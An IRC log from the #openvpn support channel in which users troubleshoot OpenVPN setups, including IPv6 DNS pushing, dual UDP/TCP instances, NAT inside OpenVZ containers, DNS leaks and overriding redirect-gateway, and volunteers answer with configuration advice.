03:07 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:12 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:12 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:12 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:28 -!- mattock is now known as mattock_afk
03:47 < takamichi> !paste
03:50 < Dropje> !ping
03:51 < Dropje> tha b0t is gone ;) 04:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 245 seconds]
03:51 < takamichi> I have a user who can connect to the VPN and access resources behind the VPN but if they disconnect and then disconnect their wireless modem they can connect but not access anything.  However if they reset their TAP adapter they can. The log is http://pastebin.com/KtTLqyEE - Any ideas? Could this be a TAP bug?
03:53 < Dropje> takamichi: http://mugurel.sumanariu.ro/windows/vista-and-win-7-openvpn-route-problem/
03:54 < takamichi> Dropje: Thanks! I'll try that although I'm not sure its the problem.
03:55 < Dropje> takamichi: me neither ;)
04:14 -!- dazo_afk is now known as dazo
04:26 < Feico> Options error: dhcp-option parameter DNS '2001:x:x:x::1' must be an IP address
04:27 < Feico> any other way to push an ipv6 DNS address?
04:27 < Feico> good morning btw.
04:27 < Feico> server is 2.2.1, client is 2.3.1
04:33 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:33 <@plaisthos> Feico: At the moment I don't think so
04:37 < Feico> ok, thanks for your answer
04:38 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:39 < jzaw> !ping
04:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit []
04:44 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:49 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
04:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:17 -!- Anon2013 [~Anon2013@ns1.mastermindnetworks.org] has joined #openvpn
05:19 < Anon2013> Hey guys . I got a question .
05:19 < Anon2013> Why does my server last log shows my real IP even when I'm connected on the VPN ?
05:19 < Anon2013> Shouldn't it show the VPN IP ? I mean I connect after stating up the VPN tunnel . I just don't get it :D
05:20 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
05:24 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
05:47 -!- xbanux1 [~xbanux@115.254.75.113] has quit [Ping timeout: 256 seconds]
05:57 <@dazo> Feico: you need openvpn 2.3 to be able to tackle IPv6
05:58 <@dazo> not sure if it allows pushing IPv6 DNS yet ... but for general IPv6 availability, 2.3 is needed
05:59 < Feico> just checked code of 2.3.1 for PUSH DNS and it seems to check ipv4 adresses only
06:00 < Feico> client is 2.3.1 already, server runs 2.2.1 but it seems options are pushed as text if I read the code correctly
06:01 < Feico> completely new to the code so I need to make a few assumptions after 10 minutes of browsing ;)
06:01 < Feico> dhcp_option_address_parse()
06:01 -!- novaflash is now known as novaflash_away
06:03 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has quit [Ping timeout: 245 seconds]
06:06 < Feico> on the server I use server-ipv6 2001:x:x:x::/64 and that works just fine
06:08 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has joined #openvpn
06:10 -!- novaflash_away is now known as novaflash
06:19 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has joined #openvpn
06:19 < ServerTechLaptop> !welcome
06:19 < ServerTechLaptop> Okay..
06:20 < ServerTechLaptop> No bot I guess :P
06:20 < ServerTechLaptop> Could anyone quickly help me with killing a connected client?
06:20 < Dropje> ServerTechLaptop: if you have a management daemon running you can kill it from there
06:21 < ServerTechLaptop> Nope just bare openvpn not very experienced with it either
06:21 < ServerTechLaptop> Gave out a demo 4 hours ago and the person's abusing bandwidth
06:21 < ServerTechLaptop> Dropje, ^
06:22 < Dropje> you already revoked his cert or removed his user account?
06:22 < Dropje> block all connections from his address using your OS
06:22 < ServerTechLaptop> Removed the account yes
06:23 < Dropje> next reconnect he won't be able to authenticate anymore
06:23 < ServerTechLaptop> I'm aware, but he's still hogging up bandwidth so
06:23 < Dropje> so block his address on your firewall
06:23 < ServerTechLaptop> Also about firewall, I have to run iptables commands every reboot?
06:24 < Dropje> what do you mean? make iptables rules persisten?
06:24 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
06:24 < ServerTechLaptop> Yes Dropje
06:24 < Dropje> check out your distributions documentation
06:24 < ServerTechLaptop> Okay, thanks :)
06:25 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
06:29 < jzaw> Dropje, for ServerTechLaptop wouldnt simply restarting openvpn cause a re neg of keys  thus fail if he's revoked the key
06:29 < jzaw> ?
06:30 < ServerTechLaptop> jzaw, restarting openvpn would do, but since firewall rules aren't persistent for me and other users and connected and I want to preserve uptime, not an option
06:31 < jzaw> i mean /etc/init.d/openvpn restart
06:31 < jzaw> not reboot the whole box
06:31 < ServerTechLaptop> It'll still drop current users
06:32 < jzaw> sure but thell re negotiate connections ... mine take about 1 sec when i do that
06:33 < ServerTechLaptop> I could just block the IP on iptables
06:33 < ServerTechLaptop> And unblock it immediately
06:33 < ServerTechLaptop> the client will drop and wouldn't be able to re-authenticate
06:33 < jzaw> well youll have to leave blocked for a time out
06:37 < jzaw> ServerTechLaptop, does your openvpn config set up some iptables ?
06:37 < jzaw> any reason you cant restart the server?
06:37 < ServerTechLaptop> no
06:38 < ServerTechLaptop> No problem in restarting, just would drop client
06:38 < ServerTechLaptop> I guess it would reconnect
06:38 < jzaw> but they would immediately renegotiate and id say they prob wouldnt even notic
06:38 < jzaw> e
06:38 < jzaw> even if they were streaming (unless it was voip)
06:38 < ServerTechLaptop> Fixed it anyway
06:38 < ServerTechLaptop> used iptables
06:38 < jzaw> cool
06:39 < jzaw> was the guy leeching much ?
06:39 < ServerTechLaptop> Yep
06:39 < ServerTechLaptop> On a demo
06:39 < jzaw> someone you know or just demo for a.n.other ?
06:39 < ServerTechLaptop> random person yeah
06:39 < jzaw> and youve learnt your lesson ? ;)
06:40 < ServerTechLaptop> Haha yes bought 200GB in extra bandwidth just for a few days
06:40 < ServerTechLaptop> It wasn't that bad I noticed in 4 hours
06:40 < ServerTechLaptop> Well I guess 4 hours isn't quick
06:40 < ServerTechLaptop> :P
06:41 < ServerTechLaptop> Ah the firewall rule didn't work
06:41 < ServerTechLaptop> Shutting down openvpn:                                     [  OK  ]
06:41 < ServerTechLaptop> Starting openvpn: AUTH-PAM: BACKGROUND: INIT service='/etc/pam.d/login'
06:41 < ServerTechLaptop> AUTH-PAM: BACKGROUND: received command code: 1
06:41 < ServerTechLaptop> AUTH-PAM: BACKGROUND: EXIT
06:41 < ServerTechLaptop>                                                            [FAILED]
06:41 < ServerTechLaptop> Also this
06:41 < ServerTechLaptop> Nice
06:56 < Anon2013> !ssh
06:57 < ServerTechLaptop> Ehm this may sound weird but after I start openvpn, it starts typing RwRwRWRW repeatedly on putty jzaw
06:59 < jzaw> it does sound wierd ... ive never seen that /me shrugs
07:00 < Anon2013> Does anyone know why the lastlog from the server shows my real IP instead of the VPN ?
07:01 < ServerTechLaptop> Okay I messed this up
07:01 < ServerTechLaptop> all for one crazy leecher
07:01 -!- havoc [~havoc@neptune.chaillet.net] has quit [Remote host closed the connection]
07:02 -!- colonelK [~Thunderbi@84.93.27.3] has joined #openvpn
07:04 < Anon2013> just ban his ip + delete his user + revoke certificate and run a service openvpn restart or a service network restart
07:04 < Anon2013> that should nuke his connection
07:06 < ServerTechLaptop> Yeah wel
07:06 < ServerTechLaptop> well
07:06 < ServerTechLaptop> it isn't connecting anymore
07:15 < ServerTechLaptop> Finally fixed
07:15 < ServerTechLaptop> :(
07:16 < Anon2013> OK now seriously, does anyone know why PuTTY is sending the server my real IP instead of the VPN IP ?
07:18 < ServerTechLaptop> You mean you're trying to connect to SSH through a VPN?
07:18 < ServerTechLaptop> Anon2013, ^
07:21 < Anon2013> Yea I'm connecting via SSH after I activate the VPN and the server still know exactly who I am.
07:22 < ServerTechLaptop> Have you checked through a browser Anon2013 ?
07:22 <@EugeneKay> You're connecting to the same server as the vpn is connecvte to?
07:22 < Anon2013> Yep
07:22 <@EugeneKay> connected
07:22 < ServerTechLaptop> It shows the server IP on your browser Anon2013?
07:22 < Anon2013> I checked and it's the same server
07:22 <@EugeneKay> That's by design.
07:22 < ServerTechLaptop> Try changing the prioity of your network adapter
07:23 < ServerTechLaptop> Lol
07:23 < ServerTechLaptop> Why would you use a VPN on the same server
07:23 <@EugeneKay> The openvpn link needs to be able to reach the server after the tunnel is established and any redirecting is done
07:23 <@EugeneKay> So it adds a route for the IP of the server to go via the default gateway, instead of the redirected gateway inside the vpn link
07:23 < Anon2013> Thanks Eugene
07:23 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
07:24 <@EugeneKay> Otherwise the vpn link will try to send packets down itself, and the tunnel collapses ;-)
07:24 <@EugeneKay> If you need/want to SSH into the vpn server, just use the on-VPN address of the server
07:24  * Anon2013 wishes Linda would make a video course on networking
07:25 < ScriptFanix> this reminds me of some careless push routes i did when i first set up openvpn...
07:27 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
07:30 -!- newbie|5 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 240 seconds]
07:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
07:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
07:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:23 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
08:26 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
08:39 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
08:39 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
08:58 -!- Anon2013 [~Anon2013@ns1.mastermindnetworks.org] has left #openvpn []
09:00 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
09:00 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has joined #openvpn
09:00 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has quit [Changing host]
09:00 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
09:01 -!- Girugamesh [~kvirc@ip-109-90-252-249.unitymediagroup.de] has joined #openvpn
09:03 < Girugamesh> can i tell the openvpn-server to accept connections from udp 1194 and tcp 443?
09:04 < ServerTechLaptop> Girugamesh, you need to run two instances
09:04 < Girugamesh> so i need two subnets too?
09:04 < ServerTechLaptop> Yep
09:05 < ServerTechLaptop> I think you can internally create a tunnel between the two subnets but I'm not sure about that
09:05 < ServerTechLaptop> Anyone else on here want to clear that?
09:05 < Girugamesh> that's not the problem. just need to bypass some proxies.
09:05 < Poster> assuming you're running tap on both, you should be able to bridge them
09:06 < ServerTechLaptop> Girugamesh, you need to run one instance for each protocol
09:06 < Girugamesh> so i can just use server.conf and server2.con (for example) in /etc/openvpn/?
09:06 < Poster> assuming you're running Linux or BSD, you can manipulate conections with netfilter/pf to bring other ports into the given instance
09:07 < Poster> yes, just be sure to specify unique adapter names and subnets
09:07 < ServerTechLaptop> Girugamesh, you just use NAT to forward ports to one main port the server is running on
09:08 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
09:08 < pekster> You should route between them; don't use tap unless you actually need it
09:08 < pekster> !tunortap
09:08 < Poster> you could setup instance A to listen on 1194/udp, then setup iptables or pf to bring 123/udp -> 1194/udp and 53/udp -> 1194udp
09:08 < pekster> Oh, no vpnHelper bot :(
09:08 < Girugamesh> i always use tun
09:09 < Poster> then instance B to listen on 1194/tcp, then setup iptables or pf to bring 80/tcp -> 1194/tcp and 80/tcp -> 1194/tcp
09:09 < Poster> oops, 2nd one should be 443/tcp
09:09  * Poster gulps down more coffee
09:10 < Girugamesh> 80/tcp is fine too, as my router is using 443 already
09:10 < ServerTechLaptop> Poster thanks you indirectly solved a problem I had :
09:10 < ServerTechLaptop> :)
09:11 < Poster> np
09:11 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 258 seconds]
09:13 < Girugamesh> can i tell openvpn which interface (tun0, tun10) to use for a config?
09:13 <@dazo> Girugamesh: use use --dev tun0  or --dev tun10
09:14 < pekster> Girugamesh: You can specifiy it directly with --dev, although it's often more convenient to use --up scripts to do dynamic routing/firewalling. Depends on your setup though. It's best to avoid tun0 for instance, since another VPN instance would choose that has it's first dynamic tun instance
09:15 < Girugamesh> i just need 2 instances. and only the server is running on this machine
09:15 < Girugamesh> so there should be no conflict
09:16 < pekster> Sure. Just providing alternatives; pick whatever makes sense for you
09:22 < Girugamesh> openvpn is not working on a ssl-interception firewall ... possible?
09:22 < Girugamesh> proxy, not firewall
09:22 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
09:22 -!- colonelK [~Thunderbi@84.93.27.3] has quit [Quit: colonelK]
09:24 -!- ade_b [~Ade@kickstartconsultancy.com] has joined #openvpn
09:24 -!- ade_b [~Ade@kickstartconsultancy.com] has quit [Changing host]
09:24 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:25 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
09:25 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
09:29 < Girugamesh> ok, its just not working on portforwarding for 80/tcp, needs to be 443/tcp
09:30 < Girugamesh> thx, now 2 instances are running and i have learned something new
09:30 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
09:34 < Poster> there is also a port-share directive that may be of interest
09:34 < Poster> it allows OpenVPN to listen on 443 and will forward non openvpn traffic to another host/port
09:34 < Poster> I've not used it, but it might be helpful if you're wanting to bypass restrictive firewalls
09:39 < pekster> It only works with https traffic right now
09:40 < pekster> You'd need to add code to support more, although that's designed to be pretty easy if you want to get your hands a bit dirty
09:41 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:43 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
09:49 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
09:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
09:53 < Girugamesh> push DNS Server is for Windows only or does it work on Android too?
09:54 < pekster> (we have !pushdns when vpnHelper is back) but the tl;dr on the bot output is that you need script-hooks to deal with it on Unix-alike OSes; see --dhcp-option in the manpage. I'm not sure if the android app tries to handle that since my unit is too old to support the modern apps
09:55 <@ecrist> sorry, didn't realize he died
09:55 < pekster> RIP ;)
09:55 <@ecrist> hrm, IPv6 routing issue
09:57 < Girugamesh> I have used push "redirect-gateway def1 bypass-dhcp" as option, but nothing happens i i try to open google.com
09:57 < pekster> I've been rocking IPv6 + CertFP to Freenode and love it. It's been good proof that the IPv6 PoP I'm on is quite solid, so that's good (just straight proto 41, so it's not like there's much to "go wrong")
09:58 < pekster> Girugamesh: And after reading --dhcp-option description in the manpage, what did you learn?
09:58 <@ecrist> actually, the bot just won't connect for some reason
10:02 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
10:07 < Girugamesh> now the easy way, using a squid3 proxy on my vpn server ...
10:08 < Girugamesh> so the stupid proxy on my company is finally bypassed on the guests wireless lan
10:10 -!- Girugamesh [~kvirc@ip-109-90-252-249.unitymediagroup.de] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
10:13 -!- novaflash is now known as novaflash_away
--- Log opened Tue Apr 23 10:19:13 2013
10:19 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
10:19 -!- Irssi: #openvpn: Total of 187 nicks [7 ops, 0 halfops, 6 voices, 174 normal]
10:19 -!- mode/#openvpn [+o ecrist] by ChanServ
10:19 -!- Irssi: Join to #openvpn was synced in 30 secs
10:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
10:20 -!- mode/#openvpn [+o vpnHelper] by ChanServ
10:20 <@ecrist> that was friggin weird
10:22 <@EugeneKay> You're werid.
10:23 < rob0> *wired
10:42 -!- jthunder [~jthunder@96.53.110.162] has joined #openvpn
10:43 < MorgyN> yer mums weird
10:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
10:52 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
10:52 -!- mode/#openvpn [+o vpnHelper] by ChanServ
11:03 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:03 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
11:14 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 245 seconds]
11:20 -!- novaflash_away is now known as novaflash
11:29 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
11:41 -!- mattock_afk is now known as mattock
11:57 <@dazo> pekster: I believe the Android clients handle the push DNS scenarios .... plaisthos, right?
11:58 < pekster> Probably, I just can't confirm it. I do have CM7 on my phone, but it's using an old 2.1 client as part of the CM/busybox build
12:02 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Excess Flood]
12:05 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
12:11 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
12:38 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:39 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
12:42 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 252 seconds]
13:04 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
13:15 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
13:23 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:28 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
13:30 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
13:34 -!- dazo is now known as dazo_afk
13:36 -!- jimmyz2 [d055d3c4@gateway/web/cgi-irc/kiwiirc.com/ip.208.85.211.196] has joined #openvpn
13:58 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
14:04 -!- genfool [~funfool@173.226.104.75] has joined #openvpn
14:09 -!- nubby [~ubuntu@92.40.254.63.threembb.co.uk] has joined #openvpn
14:10 < nubby> hey there guys
14:10 < nubby> soem help woudl be greatly apriciated if possible
14:11 < nubby> i am tryign to run an openvpn inside a openvz container i have no  managed to get it to conenct with abit of a qork aroudn sicne i cannot use masquerade inside the container
14:11 < nubby> but all i seem to be able to get is my internel webserver
14:11 <@krzee> !openvznat
14:11 <@vpnHelper> "openvznat" is (#1) a user reported success with this command: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to <PUBLIC-IP> or (#2) someone else got it working with: iptables -t nat -A POSTROUTING -s <vpn_subnet>/<netmask> -o eth<public> -j SNAT --to <public ip>
14:12 <@krzee> since i assume you want to redirect internet through your vm
14:12 <@krzee> openvz isnt the best for that, but people have made it work
14:12 -!- genfool [~funfool@173.226.104.75] has left #openvpn ["Leaving"]
14:12 < nubby> do i need to do that int he contaienr or the bhbost
14:15 < nubby> well that didnt work
14:15 < nubby> unless my old post routign is the issue
14:16 < nubby> im not sure if i have gotten dhcp or dns setup proeprly
14:16 < nubby> ill pastebin my openvpn.conf
14:17 < nubby> http://pastebin.com/dksq0UNQ krzee
14:19 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
14:23 -!- ubuntu_ [~ubuntu@178-32-59-26.ovh.net] has joined #openvpn
14:23 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:23 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
14:23 -!- ubuntu_ is now known as nubby1
14:24 < nubby1> okay thats the vpn working now
14:24 < nubby1> my next query
14:24 -!- nubby [~ubuntu@92.40.254.63.threembb.co.uk] has quit [Ping timeout: 252 seconds]
14:25 < nubby1> if i was to say vist www.tefx.me.uk from my webrowser and hti enter my acutal isp will nto no i have been to said website it is encrypted fromt he point the data leaves my computer
14:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
14:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:28 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:29 -!- nubby1 is now known as nubby
14:29 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 248 seconds]
14:30 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
14:31 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
14:32 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
14:34 <@krzee> www.secure-computing.net/ip.php shows your vpn server ip address?
14:35 <@krzee> and you are not using your ISPs nameservers?
14:35 -!- ThoMe_ [~tm@tm.muc.de] has joined #openvpn
14:35 < ThoMe_> hiho
14:35 < ThoMe_> anypone here? :-)
14:36 < ThoMe_> is it posible to save the password on the windows client?
14:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
14:36 < ThoMe_> like auth-user-pass ?
14:36 <@krzee> password asked by the server, or passphrase on the cert?
14:36 < ThoMe_> passphrase cert
14:36 <@krzee> just remove it if you dont want it
14:36 < ThoMe_> krzee: lo!
14:36 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
14:36 < ThoMe_> krzee: hm. save is not posible? maybe crypted?
14:36 < nubby> erm not sure ont he name sever part orf it btu yeah im gettign my vpns ip
14:37 <@krzee> it is crypted, thats why you need the password ;]
14:37 <@krzee> i dont think anyone made anything for windows for it to be saved in some ms password store
14:37 < ThoMe_> krzee: yes. i mean i save the password in bla.txt but not in cleartext
14:37 < ThoMe_> ?
14:37 <@krzee> but if they did, would you trust it?
14:37 < ThoMe_> hm. ok.
14:37 < ThoMe_> krzee: ok. can I say start as service on windows and use config-file XYZ ?
14:38 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 252 seconds]
14:38 < ThoMe_> I use 2.3.
14:38 <@krzee> yes, if you remove the passphrase from the key
14:38 < ThoMe_> ok.
14:38 <@krzee> !change_passphrase
14:38 < nubby> so krzee im encrypted to the point as soon as i remove my live usb the onyl trace of the data is at the other end of the vpn
14:38 <@vpnHelper> "change_passphrase" is see http://openvpn.net/archive/openvpn-users/2005-03/msg00230.html for how to change (or add) a key's passphrase
14:38 < ThoMe_> jojo.
14:38 < ThoMe_> i know openssl. thx.
14:38 <@krzee> !remove_passphrase
14:38 <@krzee> oh ok
14:39 < ThoMe_> krzee: i mean, do you have a docu /wiki for "start as service" ?
14:39 <@krzee> just goto services.msc
14:40 < nubby> krzee,?
14:41 <@krzee> nubby, if you are using the ISPs nameservers they still know every host you resolv
14:41 < ThoMe_> krzee: but how i can say use config-file blub.opvn
14:41 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has quit [Quit: and when the day arrives, i'll become the sky, and i'll become the sea, and the sea will come to kiss me, for i am going, home]
14:41 < ThoMe_> have multi openvpn files.
14:41 <@krzee> ohh
14:42 < ThoMe_> krzee: but openssl rsa -des3 -in oldkey.pem -out newkey.pem is not good.
14:42 < ThoMe_> krzee: works only without -des3
14:42 < nubby> also curious question can more one client use the same client cert at same tiem or must i create idervidular certs
14:43 <@krzee> nubby, should make 1 per clienty
14:43 <@krzee> -y*
14:43 < ThoMe_> krzee: have a another question, is this ok?
14:44 <@krzee> ThoMe_, i suspect if you can specify a client config to go with the service it would be in the registry somewhere
14:44 <@krzee> i dont actually use windows
14:44 <@krzee> of course, ask all you want, if i dont know im sure someone else will
14:44 < ThoMe_> krzee: my config is http://pastebin.com/6W8L7vTe
14:44 < ThoMe_> this works good with openvpn 2.2
14:45 < nubby> heh krzee your a decent guy and someoen that dosent give me vcrap for my bad typign and grammer althopguth im sure you want to lols
14:45 < ThoMe_> but with openvpn 2.3 i have no push dns and no dns suffix
14:45 < ThoMe_> krzee: is my config failed for openvpn 2.3 ?
14:46 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
14:46 < ThoMe_> krzee: i dont like use the default gw. therefore I use route-nopull and set default my routes like route 172.16.0.0 255.255.0.0
14:46 < ThoMe_> is it wrong?
14:46 < nubby> krzee, also on the subject of the dns hwo do i check what dns i am using
14:49 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
14:49 < mnice> hello
14:50 < mnice> wait, i've found something important what i did not get before
14:52 < mnice> when i go "through" vpn the source address is not SNATed, so i either have to use MASQUERADE to do it for tun0 -> eth0 or is better to add one static route to all hosts behind vpn pointing to 10.168.68.0/24 ?
14:52 < mnice> that's the tun device addr
14:53 < nubby> mnice, openvz container??
14:55 <@ecrist> !openvz
14:55 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg Xen.
14:55 < ThoMe_> ecrist: hiho
14:56 < ThoMe_> why i dont get the dns-server and dns suffix when i use openvpn 2.3 on windows 7?
14:56 < ThoMe_> with openvpn 2.2 works good
14:57 < mnice> nubby & ecrist .. hmm, thx
14:58 < ThoMe_> ecrist / krzee: when I use route-nopull then i cant get dhcp-options?
14:58 <@krzee> ThoMe_, do you not control the server?
14:59 < ThoMe_> Tue Apr 23 21:58:02 2013 Options error: option 'dhcp-option' cannot be used in this context ([PUSH-OPTIONS])
15:00 < ThoMe_> krzee: my server says route 172.16.0.0 255.255.0.0 redirect-gateway,dhcp-option DNS 10.0.2.9"
15:00 < ThoMe_> but  i dont like use the openvpn as default gateway
15:00 <@krzee> ThoMe_, do you not control the server?
15:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:01 < ThoMe_> krzee: i dont know what you mean. sorry.
15:01 < ThoMe_> krzee: emm, no, iss not my server.
15:01 <@krzee> is it your server?
15:01 <@krzee> ok
15:01 < ThoMe_> :-)
15:01 < ThoMe_> krzee: is route-nopull on 2.2 not the same like 2.3 ?
15:01 < ThoMe_> or is it posible a other option?
15:02 < nubby> krzee, i have dns leask and nto sure if its server side or client
15:02 <@krzee> ThoMe_, i can tell you another way to override redirect-gateway
15:02 < ThoMe_> krzee: yes, which? :-)
15:03 <@krzee> see how def1 overrides the gateway?
15:03 <@krzee> !def1
15:03 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
15:03 <@krzee> you could do the same thing, with your real gateway
15:03 < ThoMe_> em. oeh
15:03 <@krzee> it would override the vpn's default route
15:03 < ThoMe_> *read*
15:03 < ThoMe_> only "def1" in a extra line?
15:04 < ThoMe_> or "redirect-gateway def1" ?
15:04 < nubby> okay think i fixed the dns leak but now for the next problem
15:05 < nubby> i visit thsi site to test for a leak
15:05 < nubby> http://www.dnsleaktest.com/
15:05 <@vpnHelper> Title: DNS leak test (at www.dnsleaktest.com)
15:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
15:05 < nubby> now on the frotn page it gives me my vpn ip but a uk flag
15:05 < nubby> but the server is located in france
15:06 < nubby> the actual dns results now say germany but still in a bit of a pickle
15:06 < nubby> as i would have expected the ip to show a french flag
15:07 < nubby> IPv4 address:   178.32.59.26
15:07 < nubby> IPv6 address:   ::ffff:b220:3b1a
15:07 < nubby> Host name:      178-32-59-26.ovh.net
15:07 < nubby> Reverse DNS:    178-32-59-26.ovh.net
15:07 < nubby> Country:        Netherlands
15:07 < nubby> City:           Amsterdam
15:07 < ThoMe_> krzee: hm. I use now redirect-gateway def1 but the traffic is goinger of the vpn server gw.
15:07 < nubby> opps sorry
15:07 < ThoMe_> nubby: stop it!
15:07 < nubby> that was ment to be a paste bin
15:07 <@krzee> ThoMe_, no def1
15:08 <@krzee> ThoMe_, i wanted you to UNDERSTAND how def1 works
15:08 <@krzee> you can override the default route openvpn sets by doing the same thing
15:08 <@krzee> !route_override
15:08 <@vpnHelper> "route_override" is (#1) https://forums.openvpn.net/viewtopic.php?f=15&t=7161 for how to override --redirect-gateway for a certain subnet or (#2) to see how to make it so the client will still reply to requests to its public ip over the internet and not the vpn see !splitroute
15:08 < ThoMe_> krzee: i can see you linke, also without big words :-)
15:09 <@krzee> it is how i emphasize it :)
15:09 < ThoMe_> but see/read != understand :P
15:09 <@krzee> you see
15:09 < ThoMe_> :-)
15:09 <@krzee> openvpn is going to give you a new default route 0.0.0.0/0
